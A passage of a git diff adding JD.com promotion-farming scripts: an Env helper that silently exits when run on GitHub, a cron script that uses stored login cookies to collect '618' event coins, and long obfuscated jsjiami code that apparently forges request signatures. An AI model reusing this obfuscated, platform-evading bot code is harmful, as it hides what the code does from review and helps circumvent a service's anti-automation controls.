_0x10fdaf=_0x5cbfa7[_0x5d0f('91','F]wS')](_0x5cbfa7[_0x5d0f('92','hg0S')](_0x5cbfa7['stmBC'](_0x9d2c54,0x5)|_0x9d2c54>>>0x1b,_0x9c56c)+_0x5cbfa7[_0x5d0f('93','JUrC')](_0x14e96a[_0x41cfc2],0x0),_0x5cbfa7[_0x5d0f('94','BI(P')](_0x41cfc2,0x14)?0x5a827999+_0x5cbfa7['MgAbI'](_0x46e3b3&_0x566d39,~_0x46e3b3&_0x449b67):_0x41cfc2<0x28?0x6ed9eba1+_0x5cbfa7['wtRUG'](_0x5cbfa7[_0x5d0f('95','CTFi')](_0x46e3b3,_0x566d39),_0x449b67):_0x5cbfa7[_0x5d0f('96','s^4*')](_0x41cfc2,0x3c)?_0x5cbfa7['rahHa'](_0x5cbfa7[_0x5d0f('97','^r[Y')](_0x5cbfa7[_0x5d0f('98','^r[Y')](_0x46e3b3,_0x566d39),_0x5cbfa7[_0x5d0f('99','uKab')](_0x46e3b3,_0x449b67)),_0x5cbfa7[_0x5d0f('9a','b^!y')](_0x566d39,_0x449b67))-0x70e44324:_0x5cbfa7[_0x5d0f('9b','JUrC')](_0x5cbfa7[_0x5d0f('9c','LiYN')](_0x46e3b3,_0x566d39)^_0x449b67,0x359d3e2a));_0x9c56c=_0x449b67,_0x449b67=_0x566d39,_0x566d39=_0x5cbfa7[_0x5d0f('9d','JUrC')](_0x46e3b3,0x1e)|_0x46e3b3>>>0x2,_0x46e3b3=_0x9d2c54,_0x9d2c54=_0x10fdaf;}_0x9d2c54+=_0x43baf2,_0x46e3b3+=_0x4d1431,_0x566d39+=_0x28709e,_0x449b67+=_0x3c6a2f,_0x9c56c+=_0x26aa9c;}return[_0x9d2c54,_0x46e3b3,_0x566d39,_0x449b67,_0x9c56c];};_0xodZ='jsjiami.com.v6';
+// prettier-ignore
+function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)}
+
+
diff --git a/Task/jd_zooCollect.js b/Task/jd_zooCollect.js
new file mode 100644
index 0000000..81253a6
--- /dev/null
+++ b/Task/jd_zooCollect.js
@@ -0,0 +1,151 @@
+/*
+#618动物联萌专门收集金币
+活动入口:京东app首页浮动窗口
+仅仅是收集一下618动物联萌活动每秒产生的金币
+每30分运行一次
+============Quantumultx===============
+[task_local]
+#618动物联萌收集金币
+0-59/30 * * * * jd_zooCollect.js, tag=618动物联萌收集金币, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true
+
+================Loon==============
+[Script]
+cron "0-59/30 * * * *" script-path=jd_zooCollect.js,tag=618动物联萌收集金币
+
+===============Surge=================
+618动物联萌收集金币 = type=cron,cronexp="0-59/30 * * * *",wake-system=1,timeout=3600,script-path=jd_zooCollect.js
+
+============小火箭=========
+618动物联萌收集金币 = type=cron,script-path=jd_zooCollect.js, cronexpr="0-59/30 * * * *", timeout=3600, enable=true
+ */
+const $ = new Env('618动物联萌收集金币');
+//Node.js用户请在jdCookie.js处填写京东ck;
+const jdCookieNode = $.isNode() ? require('./jdCookie.js') : '';
+//IOS等用户直接用NobyDa的jd cookie
+let cookiesArr = [], cookie = '', secretp = '';
+
+if ($.isNode()) {
+ Object.keys(jdCookieNode).forEach((item) => {
+ cookiesArr.push(jdCookieNode[item])
+ })
+ if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {};
+} else {
+ cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item);
+}
+
+const JD_API_HOST = `https://api.m.jd.com/client.action`;
+!(async () => {
+ if (!cookiesArr[0]) {
+ $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"});
+ return;
+ }
+ console.log(`\n小功能::仅仅是收集一下618动物联萌领金币每秒产生的金币,建议30分钟执行一次脚本\n`)
+ for (let i = 0; i < cookiesArr.length; i++) {
+ cookie = cookiesArr[i];
+ if (cookie) {
+ $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1])
+ $.index = i + 1;
+ $.isLogin = true;
+ $.nickName = '';
+ if (!$.isLogin) {
+ $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"});
+ continue
+ }
+ console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`);
+ await main()
+ }
+ }
+})()
+ .catch((e) => $.logErr(e))
+ .finally(() => $.done())
+
+async function main() {
+ await getHomeData();
+ if ($.secretp) {
+ secretp = $.secretp;
+ await stall_collectProduceScore({ "ss": getBody() });
+ }
+}
+function stall_collectProduceScore(body) {
+ return new Promise((resolve) => {
+ $.post(taskPostUrl('zoo_collectProduceScore', body), (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`)
+ console.log(`${$.name} API请求失败,请检查网路重试`)
+ } else {
+ data = JSON.parse(data);
+ if (data && data.code === 0) {
+ if (data && data.data.bizCode === 0) {
+ console.log(`京东账号${$.index} ${$.nickName}成功收集金币:${data.data.result.produceScore}个`)
+ } else {
+ console.log(`京东账号${$.index} ${$.nickName}成功收集金币失败:${data.data.bizMsg}`)
+ }
+ } else {
+ console.log(`失败:${JSON.stringify(data)}\n`);
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp);
+ } finally {
+ resolve();
+ }
+ })
+ })
+}
+function getHomeData() {
+ return new Promise((resolve) => {
+ $.post(taskPostUrl('zoo_getHomeData'), (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`)
+ console.log(`${$.name} API请求失败,请检查网路重试`)
+ } else {
+ data = JSON.parse(data);
+ if (data.code === 0) {
+ if (data && data.data['bizCode'] === 0) {
+ $.secretp = data.data.result.homeMainInfo.secretp;
+ }
+ } else {
+ console.log(`zoo_getHomeData异常:${JSON.stringify(data)}\n`);
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp);
+ } finally {
+ resolve();
+ }
+ })
+ })
+}
+
+function taskPostUrl(functionId, body = {}) {
+ return {
+ url: `${JD_API_HOST}?functionId=${functionId}`,
+ body: `functionId=${functionId}&body=${JSON.stringify(body)}&client=wh5&clientVersion=1.0.0`,
+ headers: {
+ 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"),
+ 'Content-Type': 'application/x-www-form-urlencoded',
+ 'Host': 'api.m.jd.com',
+ 'Cookie': cookie,
+ 'Origin': 'https://wbbny.m.jd.com',
+ 'Referer': 'https://wbbny.m.jd.com/babelDiy/Zeus/2s7hhSTbhMgxpGoa9JDnbDzJTaBB/index.html',
+ }
+ }
+}
+
+function jsonParse(str) {
+ if (typeof str == "string") {
+ try {
+ return JSON.parse(str);
+ } catch (e) {
+ console.log(e);
+ $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie')
+ return [];
+ }
+ }
+}
+
+var _0xodZ='jsjiami.com.v6',_0x10d2=[_0xodZ,'w5nCgMKqwoIdGUrDjGYKw7IQ','flvDj8KEw64bfXFyIsKOcQ==','wpx3fwlO','w6rCg8OrW00=','wqzDtybCl8ON','wp8bw4XDjsOe','WngiwrU6','w5MOwprDtMK3Y8KxNVhewo3Dl1sa','bG1KwpvDgA==','SRLDuEjDscOhY8KywqfDnQzDqQ==','w63Ds8K8wpMe','w4V9w493w55hNXhXGsOlRw==','TmvChB8C','VsO5SVJ5KkjCvsOkwoTCqsOW','w5fCr8K8MQo=','wrpcHMO3JA==','wpdCwozDkMKR','YVACwqce','wrPCv8KZGSE=','wr4Rw7vDrMON','wpPCkhTCrkbCol7CqWRn','wpVqcQck','TsOmTTV+','asKPw5/Cmgw=','ZMK+RcKjGA==','b2hLwqvDnQ==','w5XDu8KuwrsD','UcOJWyFJ','wqXCucOjwqXDow==','w7fCkcKmwrkY','wonDk8O7wq16','wpPCu8OlwoTDmw==','w48EVMKAw6s=','BW3CmywK','w67CocKOwqUZ','ZcKRScKUCQ==','Ql7DicK4w4Y=','wqJFAMOFwrk=','wr7DocOpwqVI','w5LDtCLDhMKU','wrQDw5bDgMOq','wq3DvCrCqsOx','wpvCscK9BjI=','wqJTdy0L','wrzCqC3Dgko=','w6x/w5B7bhLDscKYYMK9BsOSfS4bw74ZI09EwqU8w6AQLHLDpsKkwpt6eCEZVTFmwrczw4ETw6oJTAEIw5vCsXDCjyhYXivDrQ7DgRJPIcK0w7VmT8ODw6TCgUo7ITAaDsO6IiPDpcKObcK3UMOVwq4Vwp1vw6suwrRDwrISw78DwqTDtMKMwrHDtsObSMK6KcKaTsOkw4zDgcKwDcKB','w5vDusK7w5TDn8K1acKPdTLCv2o=','w6g/esK+w5I=','P8KdW0py','w67CnsOeXFc=','w7vDu8KMwoImw5EDwqc=','wqwlw7/DrMOt','w5UAwp4=','TMK9Z1dZdw==','CmLCkSlo','woVmw5NFw6l7IXlgSMKw','w6MGwqbCm2dbblXClydZ','w4bDisOlwonCmg==','wpzCs8Oqwr7Dnw==','O1PDncKiUQ==','wr7Cq8OywqbDtw==','bsObdjxT','wo49w6fDtMOF','LcK/RnNY','woZ5bC9S','wpvDncOMwrhOw6PDmws=','w4tLSsKgFw==','w53CuH/DnsO2','wq7ChsONwr7DsA==','w5kfwr7DmMK0','w5bDnQHDisKm','wplcPcO8wo0=','w4zChsKowq0d','wptcwqrDt8K9','w40ke8Kyw4c=','w5ZPw4RleA==','wpfCjsK7PD4=','w5fDjFvDlcKM','w5hCVcKqAg==','wqfDoDLCkcOi','wrLDpy7CtMOU','QGzCmjchw4Q=','QMO+VVc=','wqLCs8OlwozDgA==','w7rDi8O6wo0=','w77DgsKOwoMD','YwY7woA=','KFLChSoc','YcKORsKhDQ==','w4cfV8KLw5k=','XcO8Uito','w5jCqcKZNA8=','SnrChTcg','VsOiJ24w','VMOgP18F','wqJIO8OZwqs=','VMK2w4XClig=','w6wjQsKyw5Q=','w4Ivwqhqaw==','w70neMKTw6M=','wopTH8OLwqY=','wowrw5jDrsO7','CcKmXXxu','w6/DgjrDisKUPA==','w73CosOXX8OkdA==','w7d0w7dTTw==','XBJgwpXCl8Kaw4cn','w7LCr8OYSsOTc29Jwrot','wojCl8OGwqTDujDDmcKRFsK3','CHzCqgIj','wop6XDJrw6wpwrk=','wp3Dl8OvwqBdw6nDkA==','wqJeBMORwos=','WMKXdMK+Jg==','w4JrY8KuJg==','w7TCuk/DvcOa','w5fCtcOzVU0I','w5ZXbMKuAjU=','Xholwr/CvA==','wo3Dmh7CkMOQ','w6thw7gJw6I=','AMKiQWlQ','w49qw459w6lh','YA8Vw5PDvQ==','wpNtZTFa','w50kwohOXQ==','wodqBMO5JMO3','wpzCnxvCu3HCpQ==','w6I2e8K2w5QT','DW/DqcKgXMKmwqw1E20=','VcODHUI=','wpnCjxrDu0A=','wohlZS8kw5bCrg==','Ck/DocKBWA==','woHDosO+wpp0','w7A2wovDusKk','w4dCw5Ym','w63CpVPDnMO0','USA8wrzCsBobasOHCA==','XxsHw4DDuA==','B0DChS4Pw7M=','YRPDoVTDpw==','w5cKwofDnMK0ZQ==','a2XCgB86','w5DDghPDmcKF','bRZ1woXCgw==','eRwhwoY=','w7o8RsKlw5ISwpLDgg==','wp5fwozDlcKq','w6PDscKxwpEgw5A=','csOnOW8j','wrfDvD7CocOiLEvCjAFQ','woPDl8OxwqtIw6I=','w6bCpcO+b8OT','wqXCvBTCo1w=','VQ81FjDCrcOg','S0rCtwAR','w5LDv0/DpsK8','ECjwlHTsjiLaXmi.ATzVqqcom.Gv6=='];(function(_0x3af7b2,_0xef381f,_0x5991ff){var _0x23152b=function(_0x3edb8e,_0x5bf10d,_0x4806de,_0x2ad583,_0x2541f8){_0x5bf10d=_0x5bf10d>>0x8,_0x2541f8='po';var _0x271348='shift',_0x1e1d6a='push';if(_0x5bf10d<_0x3edb8e){while(--_0x3edb8e){_0x2ad583=_0x3af7b2[_0x271348]();if(_0x5bf10d===_0x3edb8e){_0x5bf10d=_0x2ad583;_0x4806de=_0x3af7b2[_0x2541f8+'p']();}else if(_0x5bf10d&&_0x4806de['replace'](/[ECwlHTLXATzVqqG=]/g,'')===_0x5bf10d){_0x3af7b2[_0x1e1d6a](_0x2ad583);}}_0x3af7b2[_0x1e1d6a](_0x3af7b2[_0x271348]());}return 0x8dc47;};return _0x23152b(++_0xef381f,_0x5991ff)>>_0xef381f^_0x5991ff;}(_0x10d2,0x64,0x6400));var _0x5d0f=function(_0x27842b,_0xf82ddd){_0x27842b=~~'0x'['concat'](_0x27842b);var _0x3feb27=_0x10d2[_0x27842b];if(_0x5d0f['JzCYFE']===undefined){(function(){var _0x5a67c0=function(){var _0xbaf440;try{_0xbaf440=Function('return\x20(function()\x20'+'{}.constructor(\x22return\x20this\x22)(\x20)'+');')();}catch(_0x3cf27a){_0xbaf440=window;}return _0xbaf440;};var _0x544084=_0x5a67c0();var _0xe48a6c='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x544084['atob']||(_0x544084['atob']=function(_0x1f5173){var _0x41e4dc=String(_0x1f5173)['replace'](/=+$/,'');for(var _0x3148f4=0x0,_0x502018,_0x12e8c9,_0x2a589c=0x0,_0x3a9d1a='';_0x12e8c9=_0x41e4dc['charAt'](_0x2a589c++);~_0x12e8c9&&(_0x502018=_0x3148f4%0x4?_0x502018*0x40+_0x12e8c9:_0x12e8c9,_0x3148f4++%0x4)?_0x3a9d1a+=String['fromCharCode'](0xff&_0x502018>>(-0x2*_0x3148f4&0x6)):0x0){_0x12e8c9=_0xe48a6c['indexOf'](_0x12e8c9);}return _0x3a9d1a;});}());var _0x2f0f2e=function(_0x3cd7b7,_0xf82ddd){var _0x4420fb=[],_0x239f09=0x0,_0x238c64,_0x46a902='',_0x2c41c0='';_0x3cd7b7=atob(_0x3cd7b7);for(var _0xfddccd=0x0,_0x8808ca=_0x3cd7b7['length'];_0xfddccd<_0x8808ca;_0xfddccd++){_0x2c41c0+='%'+('00'+_0x3cd7b7['charCodeAt'](_0xfddccd)['toString'](0x10))['slice'](-0x2);}_0x3cd7b7=decodeURIComponent(_0x2c41c0);for(var _0x335a92=0x0;_0x335a92<0x100;_0x335a92++){_0x4420fb[_0x335a92]=_0x335a92;}for(_0x335a92=0x0;_0x335a92<0x100;_0x335a92++){_0x239f09=(_0x239f09+_0x4420fb[_0x335a92]+_0xf82ddd['charCodeAt'](_0x335a92%_0xf82ddd['length']))%0x100;_0x238c64=_0x4420fb[_0x335a92];_0x4420fb[_0x335a92]=_0x4420fb[_0x239f09];_0x4420fb[_0x239f09]=_0x238c64;}_0x335a92=0x0;_0x239f09=0x0;for(var _0x236fba=0x0;_0x236fba<_0x3cd7b7['length'];_0x236fba++){_0x335a92=(_0x335a92+0x1)%0x100;_0x239f09=(_0x239f09+_0x4420fb[_0x335a92])%0x100;_0x238c64=_0x4420fb[_0x335a92];_0x4420fb[_0x335a92]=_0x4420fb[_0x239f09];_0x4420fb[_0x239f09]=_0x238c64;_0x46a902+=String['fromCharCode'](_0x3cd7b7['charCodeAt'](_0x236fba)^_0x4420fb[(_0x4420fb[_0x335a92]+_0x4420fb[_0x239f09])%0x100]);}return _0x46a902;};_0x5d0f['EvfSsd']=_0x2f0f2e;_0x5d0f['kZTgYH']={};_0x5d0f['JzCYFE']=!![];}var _0x1e162e=_0x5d0f['kZTgYH'][_0x27842b];if(_0x1e162e===undefined){if(_0x5d0f['ttjIbk']===undefined){_0x5d0f['ttjIbk']=!![];}_0x3feb27=_0x5d0f['EvfSsd'](_0x3feb27,_0xf82ddd);_0x5d0f['kZTgYH'][_0x27842b]=_0x3feb27;}else{_0x3feb27=_0x1e162e;}return _0x3feb27;};function randomWord(_0x3cbcd9,_0x208412,_0x2a37b4){var _0x360b19={'coSFR':function(_0x4dfa7b,_0x483edf){return _0x4dfa7b<_0x483edf;},'VOacp':function(_0x29f85b,_0x471a22){return _0x29f85b^_0x471a22;},'cYAKX':function(_0x4607f5,_0x1fe932){return _0x4607f5%_0x1fe932;},'TKRPe':function(_0x5e2494,_0x219d87){return _0x5e2494!==_0x219d87;},'WBjjp':_0x5d0f('0','uKab'),'xuWNa':function(_0x4bde36,_0x4c9b16){return _0x4bde36+_0x4c9b16;},'xYagP':function(_0x41ca2a,_0x9bc70a){return _0x41ca2a-_0x9bc70a;},'jsuBK':function(_0x339931,_0x5667a7){return _0x339931<_0x5667a7;}};let _0x53412f='',_0x163269=_0x208412,_0x3f3a67=['0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'];if(_0x3cbcd9){if(_0x360b19['TKRPe'](_0x360b19['WBjjp'],_0x360b19[_0x5d0f('1','VkdQ')])){let _0x36d461=[],_0x4329fe,_0x448170=0x0;for(let _0x3166a1=0x0;_0x360b19[_0x5d0f('2','[UVd')](_0x3166a1,time['toString']()[_0x5d0f('3','O3*%')]);_0x3166a1++){_0x448170=_0x3166a1;if(_0x448170>=nonstr['length'])_0x448170-=nonstr[_0x5d0f('4','%iLq')];_0x4329fe=_0x360b19[_0x5d0f('5','M&d@')](time[_0x5d0f('6','pIyP')]()[_0x5d0f('7','%iLq')](_0x3166a1),nonstr[_0x5d0f('8','hL8D')](_0x448170));_0x36d461['push'](_0x360b19[_0x5d0f('9','F]wS')](_0x4329fe,0xa));}return _0x36d461[_0x5d0f('a','UhSj')]()[_0x5d0f('b','Q1q0')](/,/g,'');}else{_0x163269=_0x360b19[_0x5d0f('c','uKab')](Math[_0x5d0f('d','hg0S')](Math['random']()*_0x360b19[_0x5d0f('e',']E&A')](_0x2a37b4,_0x208412)),_0x208412);}}for(let _0x4072f2=0x0;_0x360b19[_0x5d0f('f','h8!g')](_0x4072f2,_0x163269);_0x4072f2++){pos=Math['round'](Math['random']()*(_0x3f3a67['length']-0x1));_0x53412f+=_0x3f3a67[pos];}return _0x53412f;}function minusByByte(_0x2d18ad,_0x3698d9){var _0x263f0d={'lRxqO':function(_0x263dcb,_0x41f220){return _0x263dcb(_0x41f220);},'YNACq':function(_0x5a82a3,_0x154b13){return _0x5a82a3(_0x154b13);},'FLGAS':function(_0x1684d4,_0x5179b4){return _0x1684d4!==_0x5179b4;},'TktEK':function(_0x4d4caa,_0x393715,_0x5dbdd6){return _0x4d4caa(_0x393715,_0x5dbdd6);},'jkOSl':function(_0x137c15,_0x474cba){return _0x137c15<_0x474cba;}};var _0x43b269=_0x2d18ad[_0x5d0f('10','x7xC')],_0x8e7b03=_0x3698d9[_0x5d0f('11',']E&A')],_0x2225c3=Math['max'](_0x43b269,_0x8e7b03),_0x1e3cd9=_0x263f0d[_0x5d0f('12','Zru9')](toAscii,_0x2d18ad),_0x50d743=_0x263f0d[_0x5d0f('13','uF8H')](toAscii,_0x3698d9),_0x35b76c='',_0x5ccab3=0x0;for(_0x263f0d[_0x5d0f('14','X5GX')](_0x43b269,_0x8e7b03)&&(_0x1e3cd9=_0x263f0d['TktEK'](add0,_0x1e3cd9,_0x2225c3),_0x50d743=this['add0'](_0x50d743,_0x2225c3));_0x263f0d[_0x5d0f('15','[UVd')](_0x5ccab3,_0x2225c3);)_0x35b76c+=Math['abs'](_0x1e3cd9[_0x5ccab3]-_0x50d743[_0x5ccab3]),_0x5ccab3++;return _0x35b76c;}function getKey(_0x34f5bd,_0x261c7d){var _0x2459f7={'jfrto':function(_0x4fed75,_0x53bbce){return _0x4fed75*_0x53bbce;},'pyOOK':function(_0x43603c,_0x11bfc1){return _0x43603c<_0x11bfc1;},'HcLbO':function(_0x28fd93,_0x4dc312){return _0x28fd93!==_0x4dc312;},'mxjwC':'KLtcw','nclsN':function(_0x5d917a,_0x111a7a){return _0x5d917a>=_0x111a7a;},'qCuzy':function(_0x5ed516,_0x2b7e48){return _0x5ed516%_0x2b7e48;}};let _0x7777bf=[],_0x47261f,_0x1c2210=0x0;for(let 